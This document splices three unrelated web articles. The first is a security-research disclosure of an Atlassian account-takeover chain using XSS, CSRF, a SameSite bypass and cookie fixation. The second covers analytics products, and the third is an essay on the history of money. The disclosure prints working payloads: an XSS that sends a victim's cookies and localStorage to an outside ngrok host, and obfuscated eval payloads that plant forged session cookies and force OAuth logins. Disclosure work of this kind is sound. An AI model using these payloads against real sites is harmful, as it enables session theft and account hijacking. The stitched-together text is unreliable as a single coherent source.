Research By: Dikla Barda, Yaara Shriki, Roman Zaikin and Oded Vanunu Background With more than 180,000 customers globally, and millions of users, the Australian 2002 founded company “Atlassian” develops products for software developers, project managers and other software related teams that use the platform for data collaboration and information sharing. While workforces globally turned to remote work as a result of the outbreak of COVID-19, tools such as the ones offered by Atlassian became more popular and critical for teams while the need for a seamless transition to a new work mode became a global necessity. Atlassian, referring to this as “The Rise of Work Anywhere”, conducted about the nature of remote work during the Pandemic. The study surveyed more than 5,000 participants in Australia, France, Germany, Japan, and the US, and shows how the nuances of modern work have been amplified, demanding a shift in the way organizations manage an increasingly distributed workforce. research Breaking on through the Platform On November 16, 2020 Check Point Research (CPR) uncovered chained vulnerabilities that together can be used to take over an account and control some of Atlassian apps connected through SSO, Some of the affected domains are: jira.atlassian.com confluence.atlassian.com getsupport.atlassian.com partners.atlassian.com developer.atlassian.com support.atlassian.com training.atlassian.com What makes a supply chain attack such as this one so significant is the fact that once the attacker leverages these vulnerabilities and takes over an account, he can plant backdoors that he can use in the future for his attack. This can create a severe damage which will be identified and controlled only much after the damage is done. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms Deep Dive Atlassian uses SSO (Single Sign-On) to navigate between Atlassian products such as JIRA, Confluence and Partners. Atlassian implements various web security measures such as CSP, SameSite “Strict” cookies and HttpOnly cookies. We had to bypass these security methods using a combination of several attack techniques. Overall we were able to achieve Full Account Take-Over. First, we had to find a way to inject code into Atlassian – which we used the XSS and CSRF for. Then, using this code injection, we were able to add a new session cookie to the user’s account, and by combining the session fixation vulnerability in Atlassian domains, we were able to take over accounts. Let us dive in into the first bug we found: XSS The first security issue was found on the subdomain . The Training platform offers users courses or credits. We noticed that the Content Security Policy (CSP) was configured poorly on this subdomain with ‘unsafe-inline’ and ‘unsafe-eval’ directives which allows script execution. This makes this subdomain a perfect starting point for our research training.atlassian.com We examined the request parameters when adding courses and credits to the shopping cart. We found that when the item type is “ ”, an additional parameter called “ ” is added to request. This parameter was found vulnerable to XSS. training_credit options._training_credit_account Let’s test a simple payload to receive all of the user’s cookies and local storage: "><svg/onload="window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`"> It works! And we received all the cookies and the local storage of the target: CSRF Since the Stored XSS can only be run when adding items to the shopping cart, we needed to make the user add a malicious item without their notice. Then, because there is no CSRF token we could perform CSRF attack on the shopping list and execute our payload. In order to achieve that, we uploaded the following POC to our servers and sent it to the victim: <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''> 
        <svg/onload=”window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html> However, some of the cookies related to the session of the victim are set to SameSite “Strict” which means the browser prevents them from being sent to the backend. Surprisingly, we found that during the SSO process those missing cookies are completed by the backend which will essentially bypass the SameSite “Strict” for us. SameSite “Strict” Bypass We will now describe the SSO flow. We start with the XSS payload from our origin : https://7a4389292a5d.ngrok.io During the SSO flow, the user gets redirected several times to different paths, such as: /auth/cart ,login.html, etc. Throughout the redirect process, the user goes through the authentication process, which adds the missing cookies that we needed and were protected by SameSite. Because our payload was Stored XSS it was stored in the database and was added to the Shopping List. Here we can see that the payload was injected successfully into the page: And the malicious item was added to the shopping cart: At this step we bypassed SameSite “Strict” for CSRF and CSP with inline JavaScript. However, the more interesting cookie is which is protected by “ ” and we can’t hijack it via JavaScript. JSESSIONID HttpOnly At this point we can perform actions on behalf of the user but not login to his account. We dived in further into the SSO flow in order to find another flaw in the process. HTTPOnly Bypass and Cookie Fixation What is cookie fixation? Cookie Fixation is when an attacker can remotely force the user to use a session cookie known to him, which becomes authenticated. Initially, when the user browses to the login page, the server generates a new session cookie with ‘path=/’ flag. That cookie isn’t associated with any account and only after the user passes the authentication process that same cookie will be associated to his account. We knew that using the XSS we couldn’t get the user’s session cookie, since it was protected by HTTPOnly flag. Instead, we could create a new forged one. The newly created JSESSION cookie has the same flags as the original, with one major change – the path flag. The original path flag is set to the root directory. We were wondering what would happen if we change it to a more a particular path. It turns out that our path will have priority since it is more specific and will be used instead of the original. We changed the path to the exact directive we know the user will get redirected to after authentication which causes the backend to authorize our cookie over the original one. By using cookie fixation, we bypassed the HTTPOnly and hijacked the user’s Atlassian account. We will demonstrate that on the following subdomains: Training.atlassian.com We started by navigating to the URL from a clean browser without any cache to get a new clean cookie. training.atlassian.com JSESSIONID Now, we have a JSESSIONID without any information in it at the backend. If we will send a request to the user profile page we will be redirected to the login page. We will now perform a Cookie Fixation on the target which will force him to use the forged Cookie by using the following steps: We start by modifying our payload and adding the following cookie: document.cookie = "JSESSIONID= 5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=
/auth0; Secure” Note that the original HttpOnly cookie was set for the path “/”, but the new cookie we are setting in the payload is for the path “/auth0”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s more specific. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the which will force the authentication for : “redirect_uri=https://training.atlassian.com/auth0” training.atlassian.com location.href="https://atlassianuni-learndot.auth0.com/authorize? redirect_uri=https://training.atlassian.com/auth 0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk" This auth request will associate our cookie to the target account. So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''>
        <svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTVCMDlDNzNCRjEzRkU5MjNBMkU1QjRFRTBEQUQzMEUzOyBEb21haW49dHJhaW5pbmcuYXRsYXNzaWFuLmNvbTsgUGF0aD0vYXV0aDA7IFNlY3VyZSI7IHNldFRpbWVvdXQoZnVuY3Rpb24oKXsgbG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9hdGxhc3NpYW51bmktbGVhcm5kb3QuYXV0aDAuY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHM6Ly90cmFpbmluZy5hdGxhc3NpYW4uY29tL2F1dGgwJmNsaWVudF9pZD1PN0ZkSFk2NDdWdmJDVHBoQkdtdmZCdDJHZGduSDdNUiZhdWRpZW5jZT1odHRwcyUzQSUyRiUyRmF0bGFzc2lhbnVuaS1sZWFybmRvdC5hdXRoMC5jb20lMkZ1c2VyaW5mbyZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwZW1haWwmcmVzcG9uc2VfdHlwZT1jb2RlJnN0YXRlPUh4RWxwUHlTc3JSdUtjWWJGT2xwOVFrTFpRN2t3RE9lbVg3RGMtNWRubGsiIH0sMzAwMCk7`)”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html>
<!–

// Payload  Explain
btoa(‘    document.cookie=”JSESSIONID=5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=/auth0; Secure”; setTimeout(function()
{ location.href=”https://atlassianuni-learndot.auth0.com/authorize?redirect_uri=
https://training.atlassian.com/auth0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&
audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile
%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk” },3000);     ‘)

–> The Cookie Fixation combined with the XSS and CSRF bugs allowed us to perform full Account Take-Over on Atlassian Training Platform. With the same flow and Cookie Fixation we can navigate to other Atlassian products, for example, jira.atlassian.com. Jira.atlassian.com To hijack Jira accounts with the same flow, we first need to create a session cookie to perform Cookie Fixation. We log in to and take the following cookies: jira.atlassian.com JSESSIONID AWSALB In order to use these cookies for the Cookie Fixation the attacker needs to sign-out from his account to get clean JSESSIONID. We can verify that the cookie is not associated with any account anymore by sending a request to ViewProfile: Next, we will modify our payload, we will perform the same method as we did in training.atlassian.com: document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;” document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;” Note that the original HTTPOnly cookie was set for the path “/”, but the new cookie we are setting is for the path “/plugins”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s a path cookie. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the “redirect_uri=https://jira.atlassian.com/plugins” which will force the authentication for jira.atlassian.com and redirect us to /plugins. . This auth request will associate our cookie to the target account. location.href=”https://auth.atlassian.com/authorize?redirect_uri=https://jira.atlassian.com/plugins/servlet/authentication/auth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none” As can be seen in the following request, the cookie is now assosiated to the target user (“John Doe” in this case). So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

<head></head>

<body onload=”document.forms[0].submit()”>

<form method=”post” action=”https://training.atlassian.com/cart”>

<input type=”hidden” name=”itemType” value=’training_credit’>

<input type=”hidden” name=”itemId” value=’1′>

<input type=”hidden” name=”options._quantity” value=’10’>

<input type=”hidden” name=”options._training_credit_account” value='”><svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTE2NzI4ODVDM0Y1RTQ4MTlERDRFRjBCRjc0OUU1NkM5OyBEb21haW49LmF0bGFzc2lhbi5jb207IFBhdGg9L3BsdWdpbnM7IFNlY3VyZTsiOyAgZG9jdW1lbnQuY29va2llPSJBV1NBTEI9aUF2NlZLVDV0YnUvSEZKVnV1L2RURTdSODB3UVhOalIrMG9wVmJjY0UweklhZE9SSlZHTVp4Q1VjVElnbEwzT1ovQTU0ZXUvTkROTFA1STN6RStXY2dHV0RIcHYxN1NleGpGQmMxV1lBOW1vQzR3RW1Qb29FRS9VcW9vMjsgRG9tYWluPS5hdGxhc3NpYW4uY29tOyBQYXRoPS9wbHVnaW5zLzsgU2VjdXJlOyI7ICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7IGxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vYXV0aC5hdGxhc3NpYW4uY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZqaXJhLmF0bGFzc2lhbi5jb20lMkZwbHVnaW5zJTJGc2VydmxldCUyRmF1dGhlbnRpY2F0aW9uJTNGYXV0aF9wbHVnaW5fb3JpZ2luYWxfdXJsJTNEaHR0cHMlMjUzQSUyNTJGJTI1MkZqaXJhLmF0bGFzc2lhbi5jb20lMjUyRiZjbGllbnRfaWQ9UXhVVmg5dFR1Z29MQzVjZ1kzVmprejNoMWpQU3ZHOXAmc2NvcGU9b3BlbmlkK2VtYWlsK3Byb2ZpbGUmc3RhdGU9NDExOGY1N2YtYTlkOS00ZjZkLWExZDUtYWRkOTM5NzYyZjIzJnJlc3BvbnNlX3R5cGU9Y29kZSZwcm9tcHQ9bm9uZSIgfSwzMDAwKTs=`);”>’>

<input type=”hidden” name=”action” value=’add’>

</form>

</body>

</html>

<!–
// Payload

btoa(‘

document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;”;

document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;”;

setTimeout(function(){

location.href=”https://auth.atlassian.com/authorize?redirect_uri=https%3A%2F%2Fjira.atlassian.com%2Fplugins%2Fservlet%2Fauthentication%3Fauth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none”

},3000);

‘);
–> The Cookie Fixation combined with the XSS and CSRF bugs from allowed us to perform full Account Take-Over on training.atlassian.com Jira.atlassian.com Bitbucket Another direction we looked into was checking if we could inject malicious code to an Organization’s Bitbucket. Bitbucket is a Git-based source code repository hosting service owned by Atlassian and has more than 10 million users. Accessing a company’s Bitbucket repositories could allow attackers to access and change source code, make it public or even plant backdoors. With a Jira account at our hands, we have a few ways to obtain Bitbucket account. One option is by opening a Jira ticket with malicious link to an attacker controlled website. An automatic mail will be sent from Atlassian domain to the user once the ticket is created on Jira systems. An attacker can take advantage of that and include in the ticket a link to a malicious website that steals the user’s credentials. Conclusion By using the XSS with CSRF that we found on combined with the method of Cookie fixation we were able to take over any Atlassian account, in just one click, on every subdomain under atlassian.com that doesn’t use JWT for the session and that is vulnerable to session fixation . For example: training.atlassian.com, jira.atlassian.com, developer.atlassian.com and more. training.atlassian.com Taking over an account in such a collaborative platform means an ability to take over data that is not meant for unauthorized view. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms. You can have a look at . the POC video here

Chain

ATLASSIAN

Check Point

YouTube

Visit us

How a Supply-Chain Breach Put at Risk Atlassian Accounts

If a picture is worth a thousand words, then a good is definitely a match for even the most verbose images. This might help explain why are everywhere. chart analytics Take Twitter as an example. It would never be as popular as it is without showing its users how well their tweets are doing. Analytics are central to Twitter and other social media companies: they may be fairly crude, but they are also crucial for triggering that dopamine hit that brings people back. The ubiquity of analytics hides the potential complexity underneath, especially when you start to consider products where the analytics are more front and centre. Rather than Twitter, think of something like , which offers vastly more information and – hopefully at least – insights. Creating and maintaining pretty charts isn’t as easy as it seems, and I will be touching on three things that weren’t salient to me before I started working in the space. Hootsuite’s Analyze 1. The charts are just the tip of the iceberg This is a lesson I learned already in my research days, before I moved into product management. After completing my data collection, I would be keen to run my analyses and contribute to scientific knowledge. Yet, I quickly learned that there was a lot of work still to do before the data would be for analysis. I had greatly underestimated the amount of data processing that was required. When I eventually got to run the analyses themselves, it turned out to be anticlimactically quick. ready About ninety percent of an iceberg is under the surface. Think of these proportions the next time you see a dashboard. The data crunching can be divided into two stages. The first is the initial processing, where you get the data into a state in which they can be calculated, and the second is doing said calculations. If we look at the latter stage first. The metric you are going for will determine the complexity of the calculation. Working out something like the number of blog post views in a given month is relatively straightforward once you have the number of visits and when they took place. In contrast, calculating the customer churn rate of a SaaS business will be a bit more of an involved process. You need to take into account how many customers you had at the start of the month, how many canceled that same month, but only those cancelations who were for customers who were with you before the start of the month. You may also want to control for any cancelations that were followed by reactivations by those customers in that same period. Whether you are dealing with blog post views or customer churn rates, the calculation itself may be the easy bit. Imagine you want to know which are the top five countries your users are based in. If you already have the country information for each one, this task is fairly easy. Now imagine you only have their GPS location. You will first need to figure out the country a user is in. If we want to make it really complicated, let’s assume . The amount of processing to determine the countries just increased manyfold. you only have the raw GPS data Let’s hope you don’t have to do the equivalent of determining your users’ locations from scratch, but bear in mind that some of your product’s allure will come from information you are providing which isn’t easily available elsewhere. Doing the hard work for someone else is one of the reasons people will come to your product. Just make sure you are providing metrics that people actually use and care about. 2. The virtues of transparency Since your data processing is one of your competitive advantages, you might be tempted to keep it under wraps, as you might otherwise feel like you are revealing the ingredients for your secret sauce. However, opaqueness is not a good way to build trust in your numbers. After all, you aren’t providing numbers pulled out of anywhere, but rather something that would be too much work for your users to do themselves. The way in which it is calculated is not going to be a trade secret. “I could tell you how I calculated your numbers, but I am afraid that’s a secret. Don’t worry, just trust me.” Moreover, how different metrics are calculated can be a source of heated debate. The different methods will tend to have their own strengths and weaknesses, so you should make it clear which method you are using. People will then also know how to better interpret the data you are providing. Think of the churn rate example from earlier. People are better served if they can follow your approach. A good example of this in the world of SaaS metrics is around The confusion is not surprising considering the shared initials. The former is the recurring revenue that comes from your , whereas the latter is how much recurring revenue you would get from regardless of their duration – in a year (or MRR x 12 for short). One can argue about the merits of both and when each one is useful, but the main thing is not to confuse the two. That being said, it could be worse… I once heard a podcast state ARR as . ARR (annual recurring revenue) and how it is often used interchangeably with annual run rate. annual plans all your plans – average recurring revenue As a final point on this, the building blocks of your metrics have value of their own. If you are assessing the loading time of your application, the average time will be interesting, but you also want to dig into the numbers that make up this average, and so identify the major sources of latency. This is key for identifying which performance improvements will yield the highest return on investment. DataDog does this well, as they make it . really easy to explore what their aggregate charts consist of 3. The challenges of improvement Like any product out in the world, there will always be things you would like to add or change. For an analytics product this is harder than you might expect, so be careful if you are someone who likes to “move fast and break things”, as some things are harder to repair than others. When you tweak the way you calculate a metric in order to account for a new scenario, you are in a bit of a tricky situation. If you reprocess pre-existing data then your previous values will also change (to which people don’t take kindly when this happens out of the blue). If you don’t reprocess, and the changes apply only going forward, then you may have inconsistent numbers, and it is hard to make it clear why your January numbers are different from your February ones. Also, if you are actually improving the calculations, should you not provide this improved data? There are multiple ways of dealing with or mitigating these challenges, including adding new data settings, coordinated data reprocessing, and being transparent on how the numbers are obtained (as mentioned above). A clear data processing pipeline will also make any improvements easier to implement. Yet the best cure is prevention, so plan with care how you process your data and calculate your metrics. Final thoughts Working on a data product can present its own unexpected challenges even for those who have worked with data before. Not only do you have to make the underlying complexity clear and actionable, but you also have to provide the right amount of depth and transparency. All the while, you are dealing with a constant flow of ever-changing data. As we have seen it can get complicated quickly! But it’s worth it. Information is key for empowering people to make the best decisions, and being able to provide those insights is a rewarding thing indeed.

ChartMogul

Learn more

What Working on an Analytics Product Can Teach Us About Data

Photo by on Adam Nir Unsplash U.S. Senator and National Monetary Commission chairman Nelson Aldrich. “[T]he study of monetary questions is one of the great causes of insanity." – Introduction Money Money is a technology designed to facilitate commerce and investment. Money was primarily , not economists, although first definitively defined by that great economist . developed by scientists William Stanley Jevons Economists study money.  Scientists defined and engineered it. When the notorious Scottish economist John Law meddled in French monetary policy, he infamously muddled it, destroying France financially. What is Money? summarizes the consensus well: Wikipedia “In Money and the Mechanism of Exchange (1875), famously analyzed money in terms of four functions: a , a common measure of value (or ), a standard of value (or ), and a . By 1919, Jevons's four functions of money were summarized in the : William Stanley Jevons medium of exchange unit of account standard of deferred payment store of value couplet Money's a matter of functions four, A Medium, a Measure, a Standard, a Store. “This couplet would later become widely popular in macroeconomics textbooks. Most modern textbooks now list only three functions, that of the , , and .” medium of exchange unit of account store of value Not for nothing did U.S. Senator Nelson Aldrich -- while reporting, in 1909, on the observations of his National Monetary Commission, in a of New York-- archly quote McLeod to the effect that: speech before the Economic Club "the study of monetary questions is one of the great causes of insanity." This was almost certainly a swipe at free silver demagogue and presidential candidate William Jennings “You shall not crucify mankind upon a cross of gold” Bryan. Yet perhaps Sen. Aldrich was prophesying my good friends, Gerard Daché, the founder and executive director of the Government Blockchain Association and Professor Jim Liew, of Johns Hopkins University. And me…. Not so incidentally, let us recall quantum physicist Niels Bohr’s comment to Wolfgang Pauli: “We are all agreed that your theory is crazy. The question that divides us is whether it is crazy enough to have a chance of being correct.” As it happens, money has a sterling scientific provenance. Ralph Benko addressing a gathering of the Government Blockchain Association January 27, 2022, National Press Club, Washington, DC.  Photo by Jim Liew. Money’s Provenance Copernicus Money's modern scientific provenance goes back at least to Nicholas Copernicus, the very same savant who persuaded the Earth to orbit the Sun instead of the Sun orbiting the Earth as previously believed. In 1526, yes, nearly 500 years ago, Copernicus wrote a brilliant treatise . It was my arcane privilege to serve as the lead co-editor of what may be its most esteemed modern translation. On the Minting of Money Copernicus warned: “ALTHOUGH THERE ARE COUNTLESS MALADIES that are forever causing the decline of kingdoms, princedoms, and republics, the following four (in my judgment) are the most serious: civil discord, a high death rate, sterility of the soil, and the debasement of the coinage. The first three are so obvious that everybody recognizes the damage they cause; but the fourth one, which has to do with money, is noticed by only a few very thoughtful people, since it does not operate all at once and at a single blow, but gradually overthrows governments and in a hidden, insidious way.” He went on to observe: “Money, or ‘coinage,’ is gold or silver that has been specially marked — in accordance with policy established by any government or head of government — for the purpose of reckoning the prices of things that are bought and sold. “Money is therefore a kind of common “measuring stick” for the valuation of things. Now, whatever is taken as a measure has to be stable — must keep to a fixed limit. Otherwise, public order will necessarily be disturbed, and the buyers and sellers of things will be cheated many times over, just as if basic measures of length [Latin ulna, or ell], bulk measure [Latin modius, or peck], or weight did not have a fixed quantity. “Now, I think that the relevant measure here is the valuation [Latin aestimatio] of the money as such, and, although this is founded in the quality of the metal it is made of, nevertheless, money’s material or metallic value [Latin valor] must be distinguished from its valuation as money [aestimatio]; for money can be valued more in itself than the material it is composed of and vice versa [i.e., its material value may be more than its actual valuation]. “It is necessary for money to be established: even though exchange could also take place simply by weights of gold or silver alone (since, by universal human consent, gold and silver are everywhere highly valued). “Nevertheless, money is needed for two reasons: first, because of the inconvenience of always having to carry around heavy weights of metal, and second, because the real value of the metals is not easily grasped by everyone at a glance. Thus it has become customary to mark money with a public seal, by means of which the proper amount of gold or silver is indicated as present in each coin, and that the public authority is to be trusted in this. … “The [material] value of money is lessened in many ways: either through defect of material alone, namely, when more bronze is mixed with silver than is right for that particular weight of coin; or through the loss of [total] weight of the coin, even though the proportion of bronze to silver is correct; or (and this is the worst case) through both of these defects occurring at the same time; finally, the value can just diminish on its own through usage, over a long passage of time, and this is the only reason for making new money. “The evidence of this happening is, if the silver in the money is found to be significantly less than what can be bought with it — and this is rightly considered debasement [or poverty: Latin penuria] of the currency.” The Prussian nobles who Copernicus was addressing did not heed his wise advice. They eventually suffered the fate he predicted. Newton In addition to observing an apple’s fall and founding modern physics, Sir Isaac Newton served, professionally, as the Master of the Royal Mint of Great Britain toward the end of the 17th and beginning of the 18th century. Per the itself: Royal Mint “When Sir Isaac Newton came to the Royal Mint Britain’s finances were approaching crisis, with up to one in ten circulating coins believed to be forged.  His vision of matchless quality led him to root out and prosecute notorious counterfeiters, improve assaying techniques (the way coin quality is checked), and refine weights and measures to standards never seen before. “In 1699 Newton became Master of the Mint. After overseeing the new coinage for the accession of Queen Anne in 1702 he also supervised the huge task of bringing Scottish coinage into line with English coinage, following the Union of England and Scotland in 1707. Thanks to Newton’s vision, Royal Mint coins remain unrivaled in their accuracy and purity to this day.” How great a figure was Newton? Just for a moment, consider , delivered posthumously by his brother, Geoffrey, singing the praises of Newton in the 1940’s. the last words of the first celebrity economist, John Maynard Keynes ”Newton was not the first of the age of reason. He was the last of the magicians, the last of the Babylonians and Sumerians, the last great mind which looked out on the visible and intellectual world with the same eyes as those who began to build our intellectual inheritance rather less than 10,000 years ago. Isaac Newton, a posthumous child born with no father on Christmas Day, 1642, was the last wonderchild to whom the Magi could do sincere and appropriate homage.” And per : Christianity Today “Even in Newton’s lifetime, his contemporaries’ adulation verged on worship. Following his death in April 1727, Newton lay in state in Westminster Abbey for a week. At the funeral, his pall was borne by three earls, two dukes, and the Lord Chancellor. Voltaire observed, “He was buried like a king who had done well by his subjects.” “No scientist before or since has been so revered and interred with such high honor. “Who was this man whose stature has dominated the scientific landscape for three centuries? Why did his achievements have such an impact on society? What role did Newton’s faith play in his life and work? … “For Newton the world of science was by no means the whole of life. He spent more time on theology than on science; indeed, he wrote about 1.3 million words on biblical subjects. Yet this vast legacy lay hidden from public view for two centuries until the auction of his nonscientific writings in 1936. “Newton’s understanding of God came primarily from the Bible, which he studied for days and weeks at a time. He took a special interest in miracles and prophecy, calculating dates of Old Testament books and analyzing their texts to discover their authorship. In a manuscript on rules for interpreting prophecy, Newton noted the similar goals of the scientist and the prophecy expositor: simplicity and unity.” Although the Sermon on the Mountain contains an aphorism holding that you cannot serve both God and money, Newton proves a clear exception to that rule. What was Newton’s Monetary Legacy? A happy accident by Newton led to the gold standard, a monetary system which helped Great Britain prosper, proving instrumental in Britain’s becoming a dominant world power. : Wikipedia ”Great Britain accidentally adopted a de facto gold standard in 1717 when Sir__ __, then-master of the , set the exchange rate of silver to gold too low, thus causing silver coins to go out of circulation. Isaac Newton Royal Mint “A formal gold specie standard was first established in 1821, when adopted it following the introduction of the by the new Royal Mint at in 1816. Britain gold sovereign Tower Hill “As Great Britain became the world's leading financial and commercial power in the 19th century, other states increasingly adopted Britain's monetary system. … “The gold specie standard came to an end in the United Kingdom and the rest of the British Empire with the outbreak of .” World War I Contemporaneously with Newton, John Law, a Scottish economist, introduced (what some today call “fiat”) in France. This led to a speculative bubble, horrendous inflation, and both France's and Law's financial ruin. a paper money standard Per : Wikipedia “[Law] served as Controller General of Finances under the , who was regent for the juvenile . In 1716, Law set up a private in France. A year later it was nationalized at his request and renamed as . … Duke of Orleans Louis XV of France Banque Générale Banque Royale “Law also set up and directed the , funded by the Banque Royale. Its chaotic collapse has been compared to the 17th-century in Holland. The Mississippi bubble coincided with the in England, which allegedly took ideas from it. Law as a would win card games by mentally calculating …. The term " " was coined for beneficiaries of Law's scheme. Mississippi Company tulip mania South Sea bubble gambler odds millionaire … “Speculation gave way to panic as people flooded the market with future shares trading as high as 15,000 livres per share, while the shares themselves remained at 10,000 livres each. “By May 1720, prices fell to 4,000 livres per share, a 73 per cent decrease within a year. The rush to convert paper money to coins led to sporadic bank hours and riots… The descent of a relatively unknown man came as fast as his rise, leaving an economic power vacuum. Law's theories live on 300 years later and ‘captured many key conceptual points which are very much a part of modern monetary theorizing.’" Priestley Fast forward again, now toward the mid-to-late 1700s. One of the first great chemists, Joseph Priestley, the discoverer of oxygen and the inventor of carbonation (an invention upon which our soft-drink industry is based) wrote extensively and eruditely on the gold standard, providing an extensive lecture on the mechanics of money later published in his y (1793). Lectures on History and General Philosoph Per : Wikipedia “Lectures on History and General Policy (1788) is the published version of a set of lectures on history and government given by the 18th-century British to the students of . polymath Joseph Priestley Warrington Academy “The Lectures cover an array of topics—"forms of government, the feudal system, the rise of corporations, law, agriculture, commerce, the arts, finance and taxation, colonies, manners, population, war and peace"—demonstrating how all-encompassing Priestley believed the study of history to be. “Priestley offers a version of history in which all events are ‘an exhibition of the ways of God.’ Studying history and nature, according to Priestley, ‘leads us to the knowledge of his perfections and of his will.’ Understanding history thus allows one to comprehend the natural laws God established and the perfection towards which they allow the world to tend. This outlook is tied together with Priestley's belief in scientific progress and the improvement of the human race.’” millennial Stornetta and Haber The author taking a snapshot of Dr. Stornetta and Congressional blockchain thought leader Lizzy Fallon, Capitol Hill, January 10, 2022. Photo by Jim Liew. Fast forward yet again, to the late 20th century. In 1991, Dr. W. Scott Stornetta, together with Dr. Stuart Haber, published . This was the breakthrough that is the blockchain, cited three times (out of eight citations) in Satoshi's white paper. How to Time-Stamp a Digital Document Per , Coingeek " Working at Bellcore Labs in the 1990s, scientists Stuart Haber and Scott Stornetta were allowed to pick their own research projects. For Scott, a problem worth solving was the authentication of digital documents: how could you be sure the version you were looking at had not been altered from its original? “The two worked as a team and were on the point of proving to themselves that the question of trust made the problem insoluble: there always needed to be some independent person or body to verify authenticity—but what if they were also part of a collusion? But then, Scott says, as he was waiting to go into a restaurant (author’s note, as he told me, a Friendly’s) with his family, he had a brainwave. “If you needed to keep adding extra trusted parties to vouch for the honesty of the existing players, then, logically, the list would expand infinitely until the whole world was required. And that still wouldn’t be enough. Scott’s insight was, as he explains it, ‘I realised that if you turn that upside down and created a system of interlinked documents with essentially everyone as a witness, then you had, in fact, solved the problem.’” Behold the seed of cryptocurrency, the money of the future. Conclusion And there you have a potted history of the scientists who invented money as we knew it and know it today: Copernicus, Newton, Priestley. And the secret origin story of future money by scientists: Stornetta and Haber. I have treated you to the scientific provenance of the key makers of money, with brief detours to the distinguished monetary economist Jevons, a passing reference to the first celebrity economist, John Maynard Keynes, and a revelation of the notorious economist John Law, proponent of promiscuously issued paper money with its attendant catastrophic debasement. And here we are today at the Government Blockchain Association's . Future of Money, Governance and the Law Contemplating the contributions of five distinguished scientists, coupled with brief forays to three influential economists, gives us insight into the potential future of money, governance and the law. What possibilities for greater prosperity, equity and financial stability does the blockchain create? So glad you asked. Let us reprise the view of the great discoverer of oxygen who offers: “A version of history in which all events are ‘an exhibition of the ways of God;’ studying history and nature, according to Priestley, to lead “us to the knowledge of [God’s] perfections and of [God’s] will." Let us reprise the quest of the great Newton, who sought, both as to prophecy and science, simplicity and unity. What possibilities does the blockchain create? Welcome. You’ve come to the right place. Adapted from at the Government Blockchain Association’s the National Press Club January 27, 2022. remarks presented The Future of Money, Governance and the Law, Dedicated to Ellen Stevens, editor extraordinaire.

Come to New Pavilion's LinkedIn page for curated links and excerpts of the best writings on NFTs.

2022 - HackerNoon Contributor of the Year - Art

2022 - HackerNoon Contributor of the Year - Economics

2022 - HackerNoon Contributor of the Year - Philosophy

2022 - HackerNoon Contributor of the Year - Politics

2022 - HackerNoon Contributor of the Year - Scaling

